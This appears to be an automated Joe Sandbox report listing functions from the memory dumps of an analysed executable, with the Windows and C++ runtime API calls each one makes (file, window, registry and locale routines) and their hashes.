Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MessageSend$H_prologLongRectWindow
String ID:
API String ID: 2846605207-0
Opcode ID: b2a1b4ef5e9778aa34fc1d5ad18bc1cfe28b2ca6cea6a32ff57a155501c65178
Instruction ID: f2317d63e6ab5b7e8a5a11a15fe47f93d1543a73323e33837569d6b3d6412d9a
Opcode Fuzzy Hash: b2a1b4ef5e9778aa34fc1d5ad18bc1cfe28b2ca6cea6a32ff57a155501c65178
Instruction Fuzzy Hash: EB314970A0020CFFDF10DF94CD80DAEB7B9EF04348B20856AF511A72A1D674AE52DB24

Function 004AE56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85stringtimeCOMMON

Download Yara Rule

APIs

lstrcpyn.KERNEL32(?,?,00000104,?,?,?,?,?,?,?,004AE556,?), ref: 004AE596
GetFileTime.KERNEL32(00000000,VJ,?,?,?,?,?,?,?,?,?,004AE556,?), ref: 004AE5B7
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,004AE556,?), ref: 004AE5C6
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,004AE556,?), ref: 004AE5E7

Strings

VJ, xrefs: 004AE574, 004AE5F9, 004AE60A, 004AE61C, 004AE581
VJ, xrefs: 004AE5B2, 004AE5F4, 004AE5B5, 004AE5F8

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: File$AttributesSizeTimelstrcpyn
String ID: VJ$VJ
API String ID: 1499663573-2871196425
Opcode ID: 206db525fb55b63b6da390995193ea54ccf441f51d0f73633741f51ce3d9d681
Instruction ID: 8b41cf1c59c3654958edb3bf15182604338b637341174b2accb9c52291480ac1
Opcode Fuzzy Hash: 206db525fb55b63b6da390995193ea54ccf441f51d0f73633741f51ce3d9d681
Instruction Fuzzy Hash: 3D31B4B2500205AFC710DFA1C885BEBB7B8BB25314F404A2EF262C7280EB74A945CB94

Function 004A82C6 Relevance: 10.6, APIs: 7, Instructions: 80windowstringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,0000000C,?,?,0043C449,?,-00000001,00000000,?,?,?,00BEFCB8), ref: 004A82D0
GetFocus.USER32 ref: 004A82EB

Part of subcall function 004ABE97: UnhookWindowsHookEx.USER32(?), ref: 004ABEBC

IsWindowEnabled.USER32(?), ref: 004A8314
EnableWindow.USER32(?,00000000), ref: 004A8326
EnableWindow.USER32(?,00000001), ref: 004A836F
IsWindow.USER32(?), ref: 004A8375
SetFocus.USER32(?), ref: 004A8383

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Window$EnableFocus$EnabledHookUnhookWindowslstrlen
String ID:
API String ID: 1607871872-0
Opcode ID: 7d4f94d4ed399d63199a588beb81ccc20d2c0d66dbab80f74bc55780589d13bf
Instruction ID: 69d3d5f21042e1a3079ec44d59680f048c340a6982f15bdec5aca10f6b8c1f4e
Opcode Fuzzy Hash: 7d4f94d4ed399d63199a588beb81ccc20d2c0d66dbab80f74bc55780589d13bf
Instruction Fuzzy Hash: 1E21C471200300AFDF256F32DC46B5B7BE8EF56705F00082EFA4281251DF7AE8018759

Function 0056656F Relevance: 10.6, APIs: 7, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00566576
std::_Lockit::_Lockit.LIBCPMT ref: 00566580
int.LIBCPMT ref: 00566597

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

numpunct.LIBCPMT ref: 005665BA
std::_Facet_Register.LIBCPMT ref: 005665D1
std::_Lockit::~_Lockit.LIBCPMT ref: 005665F1
__CxxThrowException@8.LIBVCRUNTIME ref: 0056660F

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrownumpunct
String ID:
API String ID: 2509942033-0
Opcode ID: 4a33af0f1c72473f9d6f0b56b075ad09e79d4329d265d53c63e1ad24bd9ad578
Instruction ID: a4a0da2ca28462e7a18f30474adf91de238c88328309ec1786c17b9bc9d492aa
Opcode Fuzzy Hash: 4a33af0f1c72473f9d6f0b56b075ad09e79d4329d265d53c63e1ad24bd9ad578
Instruction Fuzzy Hash: BB21C53290421A9BCB14EF64DC49BAE7FB9BF84720F15411AF404AB292DF74DE04CBA5

Function 004B47E9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 004B4817
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 004B483A
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 004B4859
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004B4869
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004B4873

Strings

software, xrefs: 004B4801

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 767ff4aca045693e27eea50e2e5c69d0b4d5e1bf92710f787c85eaa286f3228f
Instruction ID: a811d90e7e38b410ebbac1b7dac08aadcc4878f84ae3229c33d6257b30f3552b
Opcode Fuzzy Hash: 767ff4aca045693e27eea50e2e5c69d0b4d5e1bf92710f787c85eaa286f3228f
Instruction Fuzzy Hash: 8011B676900158FBDB11DB96CC85DEFFFBCEFC9704B1040AAA514A2121D7719A10DB64

Function 00498ADB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00498B19
GetSystemMetrics.USER32(00000000), ref: 00498B31
GetSystemMetrics.USER32(00000001), ref: 00498B38
lstrcpy.KERNEL32(?,DISPLAY), ref: 00498B5C

Strings

B, xrefs: 00498AFA
DISPLAY, xrefs: 00498B56

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: B$DISPLAY
API String ID: 1409579217-3316187204
Opcode ID: a77ee810cd2e063d933aeb7c196b8b794cda63fcf654247246030a09eca34aa4
Instruction ID: 82d8e2c3697830d1d230689d82d655cd32acfaa2b88cfc4571478a999f594a84
Opcode Fuzzy Hash: a77ee810cd2e063d933aeb7c196b8b794cda63fcf654247246030a09eca34aa4
Instruction Fuzzy Hash: 1711A7B1900224AFCF119F689C84A9BBFA8FF07761B04407BFD059A141DAB5E900CBA9

Function 0056C073 Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C07A
std::_Lockit::_Lockit.LIBCPMT ref: 0056C084
int.LIBCPMT ref: 0056C09B

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

ctype.LIBCPMT ref: 0056C0BE
std::_Facet_Register.LIBCPMT ref: 0056C0D5
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C0F5
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C113

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowctype
String ID:
API String ID: 1394824916-0
Opcode ID: 58c65194ff6444e8e6b9f4c750607069a8dcb572369c65d2d920f46d5ad29362
Instruction ID: 6bbd70f4296aef20f4d986ccd26ffdbe038854ddb1822013fb137e6650963d26
Opcode Fuzzy Hash: 58c65194ff6444e8e6b9f4c750607069a8dcb572369c65d2d920f46d5ad29362
Instruction Fuzzy Hash: CC11C23590021A9BCF05EBA4D84DAFD7F75BFC4710F154119E815A7292DF349E04C796

Function 005780AE Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005780B5
std::_Lockit::_Lockit.LIBCPMT ref: 005780BF
int.LIBCPMT ref: 005780D6

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

moneypunct.LIBCPMT ref: 005780F9
std::_Facet_Register.LIBCPMT ref: 00578110
std::_Lockit::~_Lockit.LIBCPMT ref: 00578130
__CxxThrowException@8.LIBVCRUNTIME ref: 0057814E

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: a270cc7cbf3e361369ee6bcc292b1f3df21eeb0e41e2c14778fe06ac7a00ac4f
Instruction ID: b294b5a6814551ac74a461852f8192c86accce4459282f23ad8b2a1b508f2bfb
Opcode Fuzzy Hash: a270cc7cbf3e361369ee6bcc292b1f3df21eeb0e41e2c14778fe06ac7a00ac4f
Instruction Fuzzy Hash: 8911027290021A9BCF04EBA0E80DAFE7F79BFC4310F144119E404A72A1CF349E09D795

Function 00578154 Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0057815B
std::_Lockit::_Lockit.LIBCPMT ref: 00578165
int.LIBCPMT ref: 0057817C

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

moneypunct.LIBCPMT ref: 0057819F
std::_Facet_Register.LIBCPMT ref: 005781B6
std::_Lockit::~_Lockit.LIBCPMT ref: 005781D6
__CxxThrowException@8.LIBVCRUNTIME ref: 005781F4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: f4a9c8b411d8af3df41c52ae44a83018702101dd2e3b1ec3407bc4cef30131c0
Instruction ID: 2df1933ea438be5600cc4aa9ab5de0c6906b7e44dd75d412038988d274c89726
Opcode Fuzzy Hash: f4a9c8b411d8af3df41c52ae44a83018702101dd2e3b1ec3407bc4cef30131c0
Instruction Fuzzy Hash: 2D11E37180052A9BCF04EB60E80DABE7B75BF84311F144119E504672A1DF389A09D795

Function 0056C119 Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C120
std::_Lockit::_Lockit.LIBCPMT ref: 0056C12A
int.LIBCPMT ref: 0056C141

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

messages.LIBCPMT ref: 0056C164
std::_Facet_Register.LIBCPMT ref: 0056C17B
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C19B
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C1B9

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
String ID:
API String ID: 438560357-0
Opcode ID: 530c718dc7432d782a5f47181cb61a33484b8cad5c590b077a04ffd4a28bb5e1
Instruction ID: f825c896290bce202863ef97400719e1c6457158112b3e0fb07c3569d311da9e
Opcode Fuzzy Hash: 530c718dc7432d782a5f47181cb61a33484b8cad5c590b077a04ffd4a28bb5e1
Instruction Fuzzy Hash: 9811CE7590021A9BCF04EBA4DC49AFE7F79BFC5311F14051AE414AB2A2DF389A08CB95

Function 0056C1BF Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0056C1C6
std::_Lockit::_Lockit.LIBCPMT ref: 0056C1D0
int.LIBCPMT ref: 0056C1E7

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

messages.LIBCPMT ref: 0056C20A
std::_Facet_Register.LIBCPMT ref: 0056C221
std::_Lockit::~_Lockit.LIBCPMT ref: 0056C241
__CxxThrowException@8.LIBVCRUNTIME ref: 0056C25F

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
String ID:
API String ID: 438560357-0
Opcode ID: 9b38f70c7fb9f32b5020c1eeff448f942faab8d9999d95b3238955a7b0fcc104
Instruction ID: 8d75250786fa547e4f61de4e231e38dc63b04da516721d178add1f238bc471d7
Opcode Fuzzy Hash: 9b38f70c7fb9f32b5020c1eeff448f942faab8d9999d95b3238955a7b0fcc104
Instruction Fuzzy Hash: E111C23590011A9BCF05EBA4D819AFE7F75BFC4710F140119E854AB2A2DF749E04D795

Function 0056637D Relevance: 10.6, APIs: 7, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00566384
std::_Lockit::_Lockit.LIBCPMT ref: 0056638E
int.LIBCPMT ref: 005663A5

Part of subcall function 00562740: std::_Lockit::_Lockit.LIBCPMT ref: 00562751
Part of subcall function 00562740: std::_Lockit::~_Lockit.LIBCPMT ref: 0056276B

codecvt.LIBCPMT ref: 005663C8
std::_Facet_Register.LIBCPMT ref: 005663DF
std::_Lockit::~_Lockit.LIBCPMT ref: 005663FF
__CxxThrowException@8.LIBVCRUNTIME ref: 0056641D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
String ID:
API String ID: 2594415655-0
Opcode ID: b5fae871b427386c498d46ea880683ce3cefda575c71e3ff179eb432663631bc
Instruction ID: 328869b7b0631faf881b0467be1898dd4cb89426997a559d27fcca0fa2121b25
